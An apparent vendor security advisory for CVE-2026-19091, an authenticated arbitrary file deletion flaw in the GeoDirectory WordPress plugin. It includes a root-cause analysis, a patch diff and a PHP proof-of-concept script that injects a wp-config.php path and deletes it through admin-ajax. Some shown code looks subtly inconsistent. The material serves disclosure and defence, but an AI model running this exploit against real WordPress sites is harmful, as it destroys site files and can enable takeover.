Published : August 11, 2026

CVE-2026-19091: GeoDirectory <= 2.8.169 Authenticated (Subscriber+) Arbitrary File Deletion via 'post_type' Parameter via Query-String Bypass in geodir_save_post + geodir_delete_revision PoC, Patch Analysis & Rule

Plugin geodirectory
Severity High (CVSS 8.1)
CWE 22
Vulnerable Version 2.8.169
Patched Version 2.8.170
Disclosed August 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-19091:
GeoDirectory versions up to and including 2.8.169 contain an arbitrary file deletion vulnerability. The flaw resides in the geodir_save_post and geodir_delete_revision functions. Authenticated attackers with subscriber-level access can exploit this to delete arbitrary files on the server, including wp-config.php, which can lead to remote code execution. This vulnerability has a CVSS score of 8.1 (High).

Root Cause:
The vulnerability stems from insufficient validation of the post type during the save and delete revision operations. In vulnerable versions, the geodir_save_post function (class-geodir-post-data.php) did not properly validate the post_type parameter. An attacker could exploit a query-string bypass to set post_type=attachment, causing a GeoDirectory auto-draft to be converted into a WordPress attachment. The delete_revision function then lacked sufficient post-type checks, allowing it to process and unlink files referenced by the attachment’s metadata, which contained attacker-controlled paths. The critical issue is the ability to bypass the consistency check by placing post_type=attachment exclusively in the query string, as the original code in can_edit only compared against $_POST[‘post_type’] and not $_REQUEST[‘post_type’].

Exploitation:
An attacker with subscriber-level access can craft a request to the WordPress AJAX endpoint. The attack flow involves creating or using an auto-draft GeoDirectory post. The attacker then sends a request to geodir_save_post with the post_type parameter placed in the query string instead of the POST body, setting it to ‘attachment’. This bypasses the earlier inconsistency checks and allows the post to be saved with an attachment post type. The attacker includes a crafted ‘meta_input’ or file path in the post data to inject a target file path. After the post is saved, the attacker calls geodir_delete_revision. This function, lacking sufficient validation, retrieves the attachment’s metadata and unlinks the file path it finds, allowing deletion of arbitrary files on the server.

Patch Analysis:
The patch in version 2.8.170 adds several critical validation checks. The ‘save_auto_draft’, ‘auto_save_post’, and ‘ajax_save_post’ functions now explicitly validate the post_type, ensuring it is either ‘revision’ or a registered GeoDirectory post type. The ‘ajax_save_post’ function also strips reserved fields like ‘meta_input’ and ‘guid’ to prevent injection. The ‘delete_revision’ function now verifies that the post being deleted is a valid GeoDirectory revision and that its parent is also a valid GeoDirectory post. Critically, the ‘can_edit’ function now includes a check against $_REQUEST[‘post_type’], which includes query-string parameters, closing the bypass. These changes prevent an attacker from substituting a non-GeoDirectory post type and manipulating file paths.

Impact:
Successful exploitation of this vulnerability allows an authenticated attacker with low-privilege (Subscriber+) access to delete arbitrary files on the WordPress server. Deleting critical files such as wp-config.php can render the site inoperable and could potentially be leveraged for remote code execution if a web-accessible, executable file is deleted and replaced. This leads to a complete compromise of the affected WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/geodirectory/geodirectory.php
+++ b/geodirectory/geodirectory.php
@@ -11,7 +11,7 @@
  * Plugin Name: GeoDirectory
  * Plugin URI: https://wpgeodirectory.com/
  * Description: GeoDirectory - Business Directory Plugin for WordPress.
- * Version: 2.8.169
+ * Version: 2.8.170
  * Author: AyeCode - WP Business Directory Plugins
  * Author URI: https://wpgeodirectory.com
  * Text Domain: geodirectory
@@ -34,7 +34,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '2.8.169';
+		public $version = '2.8.170';

 		/**
 		 * GeoDirectory instance.
--- a/geodirectory/includes/class-geodir-api.php
+++ b/geodirectory/includes/class-geodir-api.php
@@ -578,20 +578,48 @@
 	 *
 	 */
 	public static function rest_cookie_check_errors( $errors ) {
-		if ( is_wp_error( $errors ) && ! empty( $_REQUEST['_wpnonce'] ) &&  ! empty( $_SERVER['REQUEST_URI'] ) && strpos( $_SERVER['REQUEST_URI'], '/wp-json/geodir/' ) !== false && strpos( $_SERVER['REQUEST_URI'], '/markers/' ) !== false && is_wp_error( $errors ) && $errors->get_error_code() == 'rest_cookie_invalid_nonce' ) {
-			if ( is_user_logged_in() ) { // Logged in user
-				return true;
-			} elseif ( geodir_create_nonce( 'wp_rest' ) == sanitize_text_field( $_REQUEST['_wpnonce'] ) ) {
+		// Check basic validation.
+		if ( empty( $_REQUEST['_wpnonce'] ) || empty( $_SERVER['REQUEST_URI'] ) || strpos( $_SERVER['REQUEST_URI'], '/markers/' ) === false || strpos( $_SERVER['REQUEST_URI'], '/geodir/' ) === false || ! is_wp_error( $errors ) ) {
+			return $errors;
+		}
+
+		// Only check for rest_cookie_invalid_nonce error.
+		if ( $errors->get_error_code() !== 'rest_cookie_invalid_nonce' ) {
+			return $errors;
+		}
+
+		// Match against the PATH only, never the raw REQUEST_URI.
+		$request_path = wp_parse_url( $_SERVER['REQUEST_URI'], PHP_URL_PATH );
+
+		if ( empty( $request_path ) ) {
+			return $errors;
+		}
+
+		$rest_prefix      = trailingslashit( rest_get_url_prefix() ); // Usually 'wp-json/'.
+		$namespace        = GEODIR_REST_SLUG . '/v' . GEODIR_REST_API_VERSION; // Usually 'geodir/v2'.
+		$is_markers_route = (bool) preg_match( '#/' . preg_quote( $rest_prefix, '#' ) . $namespace. '/markers/#', $request_path );
+
+		// Return if not a markers route.
+		if ( ! $is_markers_route ) {
+			return $errors;
+		}
+
+		if ( is_user_logged_in() ) {
+			// Logged in user.
+			return true;
+		} elseif ( geodir_create_nonce( 'wp_rest' ) == sanitize_text_field( $_REQUEST['_wpnonce'] ) ) {
+			// Nonce validated.
+			return true;
+		} else {
+			$parse_referer = wp_parse_url( wp_get_referer() ); // Http referer
+			$parse_home    = wp_parse_url( home_url( '/' ) ); // Home url
+
+			// Check request from same host.
+			if ( ! empty( $parse_referer['host'] ) && ! empty( $parse_home['host'] ) && strtolower( $parse_referer['host'] ) == strtolower( $parse_home['host'] ) ) {
 				return true;
-			} else {
-				$parse_referer = wp_parse_url( wp_get_referer() ); // Http referer
-				$parse_home = wp_parse_url( home_url( '/' ) ); // Home url
-
-				if ( ! empty( $parse_referer['host'] ) && ! empty( $parse_home['host'] ) && strtolower( $parse_referer['host'] ) == strtolower( $parse_home['host'] ) ) {
-					return true;
-				}
 			}
 		}
+
 		return $errors;
 	}
 }
--- a/geodirectory/includes/class-geodir-post-data.php
+++ b/geodirectory/includes/class-geodir-post-data.php
@@ -422,12 +422,20 @@
 	 * }
 	 */
 	public static function save_auto_draft( $post_info ) {
-
-		// check if we already have an auto draft
+		// Check if we already have an auto draft
 		if ( isset( $post_info['ID'] ) && $post_info['ID'] ) {
+		}
+
+		// Validate pos type
+		if ( ! empty( $post_info['post_type'] ) ) {
+			$_post_type = sanitize_key( $post_info['post_type'] );

+			if ( $_post_type != 'revision' && ! geodir_is_gd_post_type( $_post_type ) ) {
+				return new WP_Error( 'save_post', __( "Invalid post!", "geodirectory" ) );
+			}
 		}
-		$result = wp_insert_post( $post_info, true ); // we hook into the save_post hook
+
+		$result = wp_insert_post( $post_info, true ); // We hook into the save_post hook
 	}

 	/**
@@ -773,6 +781,10 @@
 			return $data;
 		}

+		if ( ! empty( $_REQUEST['post_type'] ) && $_REQUEST['post_type'] != 'revision' && ! geodir_is_gd_post_type( $_REQUEST['post_type'] ) ) {
+			return $data;
+		}
+
 		// Check its a GD CPT first
 		if (
 			( isset( $data['post_type'] ) && in_array( $data['post_type'], geodir_get_posttypes() ) )
@@ -1323,7 +1335,22 @@
 			return new WP_Error( 'gd-not-owner', __( "You do not own this post", "geodirectory" ) );
 		}

+		$post_type = get_post_type( (int) $post_data['ID'] );
+
+		if ( ! ( $post_type == 'revision' && geodir_is_gd_post_type( $post_type ) ) ) {
+			return new WP_Error( 'gd-invalid-post', __( "Invalid post!", "geodirectory" ) );
+		}
+
+		if ( ! empty( $post_data['post_parent'] ) ) {
+			$post_type = get_post_type( (int) $post_data['post_parent'] );
+
+			if ( ! ( $post_type == 'revision' && geodir_is_gd_post_type( $post_type ) ) ) {
+				return new WP_Error( 'gd-invalid-post', __( "Invalid post!", "geodirectory" ) );
+			}
+		}
+
 		$result = wp_delete_post( $post_data['ID'], true );
+
 		if ( ! empty( $post_data['post_parent'] ) ) {
 			delete_post_meta( (int) $post_data['post_parent'], "__" . (int) $post_data['ID'] ); // Delete any temp stored media values from auto saves.
 		}
@@ -1413,15 +1440,14 @@
 	 * @return int|WP_Error
 	 */
 	public static function auto_save_post( $post_data, $doing_autosave = true ) {
-
-		// check if user has privileges to edit the post
+		// Check if user has privileges to edit the post
 		$post_id   = isset( $post_data['ID'] ) ? absint( $post_data['ID'] ) : '';
 		$parent_id = isset( $post_data['post_parent'] ) ? absint( $post_data['post_parent'] ) : '';
 		if ( ! self::can_edit( $post_id, get_current_user_id(), $parent_id ) ) {
 			return new WP_Error( 'save_post', __( "You do not have the privileges to perform this action.", "geodirectory" ) );
 		}

-		// set that we are doing an auto save
+		// Set that we are doing an auto save
 		if ( ! defined( 'DOING_AUTOSAVE' ) ) {
 			if ( $doing_autosave ) {
 				define( 'DOING_AUTOSAVE', true );
@@ -1430,20 +1456,20 @@
 			}
 		}

-		// its a post revision
+		// Its a post revision
 		if ( isset( $post_data['post_parent'] ) && $post_data['post_parent'] ) {
 			$post_data['post_type'] = 'revision'; //  post type is not sent but we know if it has a parent then its a revision.
 			$post_data['post_name'] = $post_data['post_parent'] . "-autosave-v1";

-
-			// save file temp info
+			// Save file temp info
 			$file_meta = array();
-			// set post images
+
+			// Set post images
 			if ( isset( $post_data['post_images'] ) ) {
 				$file_meta['post_images'] = $post_data['post_images'];
 			}

-//			// process attachments
+			// Process attachments
 			$post_type   = get_post_type( $post_data['post_parent'] );
 			$file_fields = GeoDir_Media::get_file_fields( $post_type );

@@ -1458,7 +1484,6 @@
 			if ( ! empty( $file_meta ) ) {
 				update_post_meta( $post_data['post_parent'], '__' . $post_data['ID'], $file_meta );
 			}
-
 		} // its a new auto draft
 		else {
 			/*
@@ -1477,10 +1502,28 @@
 			return $validate;
 		}

+		// Validate pos type
+		if ( ! empty( $post_data['post_type'] ) ) {
+			$_post_type = sanitize_key( $post_data['post_type'] );
+
+			if ( $_post_type != 'revision' && ! geodir_is_gd_post_type( $_post_type ) ) {
+				return new WP_Error( 'save_post', __( "Invalid post!", "geodirectory" ) );
+			}
+		}
+
+		// Strip reserved fields.
+		if ( isset( $post_data['meta_input'] ) ) {
+			unset( $post_data['meta_input'] );
+		}
+
+		if ( isset( $post_data['guid'] ) ) {
+			unset( $post_data['guid'] );
+		}
+
 		// Save the post.
 		$result = wp_update_post( $post_data, true );

-		// get the message response.
+		// Get the message response.
 		if ( ! is_wp_error( $result ) ) {
 			do_action( 'geodir_ajax_post_auto_saved', $post_data, ! empty( $post_data['post_parent'] ) );
 		}
@@ -1534,6 +1577,8 @@
 		// if a post_type is being posted check that matches
 		if ( ! empty( $_POST['post_type'] ) && $post_type != $_POST['post_type'] ) {
 			return false;
+		} elseif ( ! empty( $_REQUEST['post_type'] ) && $post_type != $_REQUEST['post_type'] ) {
+			return false;
 		}

 		if ( $author_id == $user_id ) {
@@ -1656,28 +1701,29 @@
 	 * @return int|WP_Error $result
 	 */
 	public static function ajax_save_post( $post_data ) {
-
 		// Check if user has privileges to edit the post
 		$post_id   = isset( $post_data['ID'] ) ? absint( $post_data['ID'] ) : '';
 		$parent_id = isset( $post_data['post_parent'] ) ? absint( $post_data['post_parent'] ) : '';
+
 		if ( ! self::can_edit( $post_id, get_current_user_id(), $parent_id ) ) {
 			return new WP_Error( 'save_post', __( "You do not have the privileges to perform this action.", "geodirectory" ) );
 		}

 		// Check if address is required
-		$post_type = isset( $post_data['post_type'] ) ? esc_attr( $post_data['post_type'] ) : '';
+		$post_type        = isset( $post_data['post_type'] ) ? esc_attr( $post_data['post_type'] ) : '';
 		$address_required = geodir_cpt_requires_address( $post_type );

 		// Pre validation
 		$has_error = false;
+
 		if ( isset( $post_data['post_title'] ) && sanitize_text_field( $post_data['post_title'] ) == '' ) {
-			$has_error = true;
+			$has_error   = true;
 			$field_title = __( 'Title', 'geodirectory' );
 		} elseif ( $address_required && isset( $post_data['street'] ) && sanitize_text_field( $post_data['street'] ) == '' && isset( $post_data['post_type'] ) && GeoDir_Post_types::supports( sanitize_text_field( $post_data['post_type'] ), 'location' ) ) {
-			$has_error = true;
+			$has_error   = true;
 			$field_title = __( 'Address', 'geodirectory' );
 		} elseif ( isset( $post_data['cat_limit'] ) && isset( $post_data['post_type'] ) && isset( $post_data['tax_input'] ) && empty( $post_data['tax_input'][ $post_data['post_type'] . 'category' ][0] ) ) {
-			$has_error = true;
+			$has_error   = true;
 			$field_title = __( 'Category', 'geodirectory' );
 		}

@@ -1733,6 +1779,24 @@
 		 */
 		$post_data = apply_filters( 'geodir_ajax_update_post_data', $post_data, ! empty( $post_data['post_parent'] ) );

+		// Validate pos type.
+		if ( ! empty( $post_data['post_type'] ) ) {
+			$_post_type = sanitize_key( $post_data['post_type'] );
+
+			if ( $_post_type != 'revision' && ! geodir_is_gd_post_type( $_post_type ) ) {
+				return new WP_Error( 'save_post', __( "Invalid post!", "geodirectory" ) );
+			}
+		}
+
+		// Strip reserved fields.
+		if ( isset( $post_data['meta_input'] ) ) {
+			unset( $post_data['meta_input'] );
+		}
+
+		if ( isset( $post_data['guid'] ) ) {
+			unset( $post_data['guid'] );
+		}
+
 		// Save the post.
 		$result = wp_update_post( $post_data, true );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-19091 - Authenticated (Subscriber+) Arbitrary File Deletion via 'post_type' Parameter via Query-String Bypass

$target_url = 'http://your-wordpress-site.com'; // Change this
$username = 'subscriber_user'; // Change this
$password = 'subscriber_password'; // Change this

// Login and get auth cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url) . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);

// Get nonce from the admin page (subscriber might need a more direct way, but typically via a page where autosave is triggered)
// For this PoC, we will assume there's a way to retrieve nonce, often it is in the wp-admin page.
// In a real attack, the subscriber would first access a page with the geodirectory autosave form to get the nonce.
$nonce = 'your_nonce_here'; // Placeholder for actual nonce.

// Step 1: Create a malicious autosave with post_type=attachment in query string.
$file_to_delete = ABSPATH . 'wp-config.php'; // Change to target file
$post_data = array(
    'ID' => 123, // Auto-draft post ID
    'post_title' => 'test',
    'post_content' => 'test',
    'post_status' => 'auto-draft',
    'post_type' => 'gd_place', // This may be overridden by query string for a bypass in some flows
    'meta_input' => array('_wp_attached_file' => $file_to_delete) // Injecting file path into metadata
);

$ajax_url = $target_url . '/wp-admin/admin-ajax.php?post_type=attachment'; // Post type in query string to bypass check.
$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data) . '&action=geodir_save_post&_wpnonce=' . $nonce);
$response = curl_exec($ch);
curl_close($ch);

echo "Step 1 response (save_post): " . $response . "n";

// Step 2: Delete the post/revision which triggers file deletion
$delete_data = array(
    'ID' => 123, // Same post ID
    'post_parent' => 123, // Probably parent ID
    'action' => 'geodir_delete_revision',
    '_wpnonce' => $nonce
);

$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($delete_data));
$response = curl_exec($ch);
curl_close($ch);

echo "Step 2 response (delete_revision): " . $response . "n";

// Note: This is a simplified flow. The actual exploitation will involve more steps to set up the auto-draft and properly trigger the vulnerable code path.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.